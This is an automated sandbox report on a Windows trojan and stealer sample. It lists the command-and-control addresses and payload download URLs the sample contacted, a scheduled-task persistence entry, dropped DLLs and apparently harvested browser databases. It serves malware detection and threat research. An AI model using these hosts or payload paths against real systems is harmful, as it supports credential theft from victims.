https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2449039751.0000000001B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2450878675.0000000001B3D000.00000004.00000020.00020000.00000000.sdmp, IJEHIDHD.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.phplF~nj	explorti.exe, 0000000D.00000002.3241803333.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2449039751.0000000001B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2450878675.0000000001B3D000.00000004.00000020.00020000.00000000.sdmp, IJEHIDHD.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.81/well/random.exen	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.30/69934896f997d5bb/msvcp140.dllX	file.exe, 00000000.00000002.2450878675.0000000001B24000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/accounts?p=new-si-ui	chromecache_132.17.dr	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2467277602.000000001D3AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482080976.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com/js/rpc:shindig_random.js?onload=credentialservice.postMessage	chromecache_132.17.dr	false	URL Reputation: safe	unknown
http://85.28.47.30/920475a59bac849d.php06001	0244247334.exe, 0000000E.00000002.3055852446.00000000018F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	IJEHIDHD.0.dr	false	Avira URL Cloud: safe	unknown
https://policies.google.com/privacy/google-partners	chromecache_132.17.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/cost/go.exe00	file.exe, 00000000.00000002.2449562218.00000000007F8000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
https://policies.google.com/privacy/additional	chromecache_132.17.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, KKECFIEBGCAKJKECGCFI.0.dr	false	Avira URL Cloud: safe	unknown
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	chromecache_124.17.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.2450878675.0000000001B3D000.00000004.00000020.00020000.00000000.sdmp, IJEHIDHD.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, KKECFIEBGCAKJKECGCFI.0.dr	false	Avira URL Cloud: safe	unknown
https://policies.google.com/privacy/additional/embedded?gl=kr	chromecache_132.17.dr	false	URL Reputation: safe	unknown
https://policies.google.com/terms/location/embedded	chromecache_132.17.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/stealc/random.exe506	explorti.exe, 0000000D.00000002.3241803333.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, KKECFIEBGCAKJKECGCFI.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.28.47.30	unknown	Russian Federation	31643	GES-ASRU	true
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
216.58.206.46	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
142.250.181.238	www3.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467852
Start date and time:	2024-07-04 22:19:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@50/68@8/8
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.57.25, 192.229.221.95, 142.250.186.131, 142.250.110.84, 172.217.18.14, 34.104.35.123, 142.250.184.195, 142.250.181.234, 142.250.184.202, 142.250.74.202, 142.250.185.234, 172.217.18.10, 216.58.206.42, 142.250.186.138, 142.250.186.106, 172.217.16.202, 172.217.16.138, 142.250.185.202, 142.250.186.170, 216.58.206.74, 142.250.184.234, 142.250.185.74, 142.250.186.42, 142.250.185.131, 142.250.185.170, 216.58.212.170, 172.217.18.106, 142.250.185.138, 142.250.185.106, 172.217.23.106, 142.250.186.74
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target CFBAKEHIEB.exe, PID 768 because it is empty
Execution Graph export aborted for target explorti.exe, PID 1988 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 4256 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:20:26	API Interceptor	34x Sleep call for process: file.exe modified
16:21:02	API Interceptor	872x Sleep call for process: explorti.exe modified
22:20:42	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	file.exe	Get hash	malicious	Unknown	Browse
	https://www.google.com/url?q=https://authitca-adobue-sign.us-ord-1.linodeobjects.com/apts.html&sa=D&source=editors&ust=1720118061448441&usg=AOvVaw1WUHTIwDQHQCe4Um2Fp0tG	Get hash	malicious	HTMLPhisher	Browse
	https://1drv.ms/b/c/76a2f2769a0f2d92/EVBBlcPr69hPlwB4teIJkR8BhOEwtE3haDg1sSdukRfZrw?e=geYoLr	Get hash	malicious	HTMLPhisher	Browse
	https://1drv.ms/b/c/76a2f2769a0f2d92/EVBBlcPr69hPlwB4teIJkR8BhOEwtE3haDg1sSdukRfZrw?e=geYoLr	Get hash	malicious	HTMLPhisher	Browse
	xJwSq336bs.pdf	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	https://chorbie.com/services/	Get hash	malicious	Unknown	Browse
	http://79.141.36.131	Get hash	malicious	Unknown	Browse
	https://share.mindmanager.com/#publish/mnPTcUqLfLnU6HRHMb6xC3qXYGZYU6tmBtOy3sS6	Get hash	malicious	HTMLPhisher	Browse
85.28.47.30	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.30/920475a59bac849d.php
77.91.77.81	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/well/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/well/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/well/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	77.91.77.81/Kiru9gu/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
77.91.77.82	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer, zgRAT	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer, zgRAT	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
GES-ASRU	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.30
	file.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	XenoRAT	Browse	85.28.47.8
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	85.28.47.7
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	Zz3h8cOX1E.exe	Get hash	malicious	Quasar	Browse	23.1.237.91
	https://vi-822.pages.dev/robots.txt	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://truecommerceedi-my.sharepoint.com/:o:/g/personal/doug_linek_truecommerce_com/EiyWH-QHx4BNkzCWTtkFfUIB_LOEdcSk9TIJqvvJ9XzR1g?e=5%3afRyHim&at=9	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://seismic.com/products/aura-copilot/	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	Electronic Slip_coopersurgical.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.support.cryptoplanet.in/downloads.php	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	23.1.237.91
	https://reservation.exnetehovervs.com/apart/285z92aaza77z	Get hash	malicious	Unknown	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	xJwSq336bs.pdf	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	file.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	https://chorbie.com/services/	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	http://79.141.36.131	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	hANEXOPDF.PDF40 234057.msi	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	Invoice - 06736833774062515586349558087774116555577037575401 - Daiichi-sankyo.pdf	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	Zz3h8cOX1E.exe	Get hash	malicious	Quasar	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	Zz3h8cOX1E.exe	Get hash	malicious	Quasar	Browse	184.28.90.27 52.165.165.26 20.114.59.183

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFBGHDGCFHIDBGDGIIIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFBGIDAEHCFIDGCBGIIEBKKKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCGDAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDBKFHIJKJKECAAAECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEBGIIJDGHCBGCBFIEGDHDHCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIDHJKFBGIIJJKFIJDBGCBGHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJEHIDHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDHCBAEHJJJKKFIDGHJECAFIDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKECFIEBGCAKJKECGCFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
